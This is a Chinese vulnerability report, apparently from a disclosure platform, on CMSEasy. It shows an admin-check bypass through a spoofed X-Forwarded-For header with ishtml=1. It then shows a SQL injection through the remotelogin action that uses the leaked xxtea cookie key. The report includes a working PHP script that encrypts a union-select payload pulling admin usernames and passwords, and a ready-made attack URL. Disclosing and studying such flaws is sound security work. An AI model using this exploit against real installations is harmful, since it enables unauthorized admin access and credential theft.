2014-07-04: 细节已通知厂商并且等待厂商处理中 2014-07-07: 厂商已经确认,细节仅向厂商公开 2014-07-10: 细节向第三方安全合作伙伴开放 2014-08-31: 细节向核心白帽子及相关领域专家公开 2014-09-10: 细节向普通白帽子公开 2014-09-20: 细节向实习白帽子公开 2014-10-02: 细节向公众公开
。。
cmseasy后台可以未授权访问,在/lib/admin/admin.php中:
if (!defined('ROOT')) exit('Can\'t Access !');abstract class admin extends act { function __construct() { if (ADMIN_DIR!=config::get('admin_dir')) { config::modify(array('admin_dir'=>ADMIN_DIR)); front::flash('后台目录更改成功!'); } front::$rewrite=false; parent::__construct(); $servip = gethostbyname($_SERVER['SERVER_NAME']); //if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return; if($servip==front::ip()&&front::get('ishtml')==1) return; $this->check_admin(); }
这个抽象类是所有后台类继承得到的,当用户IP(可以通过x-forwarded-for伪造)和服务器IP相同且ishtml=1的话,就能不执行check_admin,造成未授权访问。可以通过一些插件修改:
如上图,修改IP以后在后台url后加上ishtml=1,即可访问后台页面。可看到cookie安全码:
拿到了这个安全码,就能干一些坏事。比如注入。看到/lib/admin/admin_act.php,58行:
function remotelogin_action() { cookie::del('passinfo'); $this->view->loginfalse=cookie::get('loginfalse'.md5($_SERVER['REQUEST_URI'])); if (front::$args) { $user=new user(); $args = xxtea_decrypt(base64_decode(front::$args), config::get('cookie_password')); $user=$user->getrow(unserialize($args)); if (is_array($user)) { if ($user['groupid'] == '888') front::$isadmin=true; cookie::set('login_username',$user['username']); cookie::set('login_password',front::cookie_encode($user['password'])); session::set('username',$user['username']); require_once ROOT.'/celive/include/config.inc.php'; require_once ROOT.'/celive/include/celive.class.php'; $login=new celive(); $login->auth(); $GLOBALS['auth']->remotelogin($user['username'],$user['password']); $GLOBALS['auth']->check_login1(); front::$user=$user; }elseif (!is_array(front::$user) ||!isset(front::$isadmin)) { cookie::set('loginfalse'.md5($_SERVER['REQUEST_URI']),(int) cookie::get('loginfalse'.md5($_SERVER['REQUEST_URI'])) +1,time() +3600); event::log('loginfalse','失败 user='.$user['username']); front::flash('密码错误或不存在该管理员!'); front::refresh(url('admin/login',true)); } } $this->render(); }
远程登录的函数,先获得$args,并base64解码,解码以后再xxtea解密(密钥就是刚才得到的字符串),解密以后再反序列化得到一个对象,直接放进数据库中查询。也就是说,我有了密钥,就能构造一个注入语句进行注入,而且因为最后的数据是base64编码过的,所以根本不怕任何waf,比如360webscan。详见证明。
脚本如下。把xxtea的加密函数拷贝出来,将注入语句构造好,输出来:
<?php$key = '719ef7a50950de7935ec4a9ebc201bba';$table = array( 'userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#'=>1);echo base64_encode(xxtea_encrypt(serialize($table), $key));function xxtea_encrypt($str, $key) { if ($str == "") { return ""; } $v = str2long($str, true); $k = str2long($key, false); if (count($k) < 4) { for ($i = count($k); $i < 4; $i++) { $k[$i] = 0; } } $n = count($v) - 1; $z = $v[$n]; $y = $v[0]; $delta = 0x9E3779B9; $q = floor(6 + 52 / ($n + 1)); $sum = 0; while (0 < $q--) { $sum = int32($sum + $delta); $e = $sum >> 2 & 3; for ($p = 0; $p < $n; $p++) { $y = $v[$p + 1]; $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z)); $z = $v[$p] = int32($v[$p] + $mx); } $y = $v[0]; $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z)); $z = $v[$n] = int32($v[$n] + $mx); } return long2str($v, false);}function xxtea_decrypt($str, $key) { if ($str == "") { return ""; } $v = str2long($str, false); $k = str2long($key, false); if (count($k) < 4) { for ($i = count($k); $i < 4; $i++) { $k[$i] = 0; } } $n = count($v) - 1; $z = $v[$n]; $y = $v[0]; $delta = 0x9E3779B9; $q = floor(6 + 52 / ($n + 1)); $sum = int32($q * $delta); while ($sum != 0) { $e = $sum >> 2 & 3; for ($p = $n; $p > 0; $p--) { $z = $v[$p - 1]; $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z)); $y = $v[$p] = int32($v[$p] - $mx); } $z = $v[$n]; $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z)); $y = $v[0] = int32($v[0] - $mx); $sum = int32($sum - $delta); } return long2str($v, true);}function long2str($v, $w) { $len = count($v); $n = ($len - 1) << 2; if ($w) { $m = $v[$len - 1]; if (($m < $n - 3) || ($m > $n)) return false; $n = $m; } $s = array(); for ($i = 0; $i < $len; $i++) { $s[$i] = pack("V", $v[$i]); } if ($w) { return substr(join('', $s), 0, $n); } else { return join('', $s); }}function str2long($s, $w) { $v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3)); $v = array_values($v); if ($w) { $v[count($v)] = strlen($s); } return $v;}function int32($n) { while ($n >= 2147483648) $n -= 4294967296; while ($n <= -2147483649) $n += 4294967296; return (int)$n;}
获得加密后的字符串如下:
http://localhost/easy/index.php?case=admin&act=remotelogin&admin_dir=admin&site=default&args=QMXXAzZMw2utUoKklvRtfvs5iHUKa6JW%2bzJVLgrICaWC%2bl2em2Wu8mZPxZzlWFhUgyHnYP3hQauMpIOTpVu2hfjUto88GN%2fbHbm8H1cpvLM3SHXYHPPO4Ws1646TUSebzZsQ9kd8FseLKar%2bIrkmc5sCDAI4Bjo6%2fXzD11e1p%2b4704JukSWsNQ4wwNbuuEyMDK%2fQtHZm%2fNv1jczk
访问,就可以将cookie设置成注入获得的数据:
加密过的内容也不能随便相信,如果key泄露了呢?
危害等级:高
漏洞Rank:20
确认时间:2014-07-07 09:50
感谢,理解修正
暂无